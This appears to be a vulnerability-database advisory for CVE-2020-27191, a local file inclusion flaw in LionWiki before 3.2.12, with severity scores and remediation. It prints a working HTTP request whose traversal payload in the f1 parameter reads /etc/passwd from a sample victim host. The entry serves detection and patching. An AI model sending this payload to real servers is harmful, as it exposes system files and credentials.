🔙 목록으로 돌아가기

CVE-2020-27191: LionWiki <3.2.12 - Local File Inclusion

TitleLionWiki <3.2.12 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
RemediationUpgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability.
CVSS Score7.5
EPSS Score0.73422
CVE IDCVE-2020-27191
CWE IDCWE-22
Tags cve2020 cve lionwiki lfi oss vuln

🔍 Vulnerability Description

LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion.

🌐 HTTP Request

GET /index.php?page&action=edit&f1=.//./\.//./\.//./\.//./\.//./\.//./etc/passwd&restore=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27191.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-27191.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A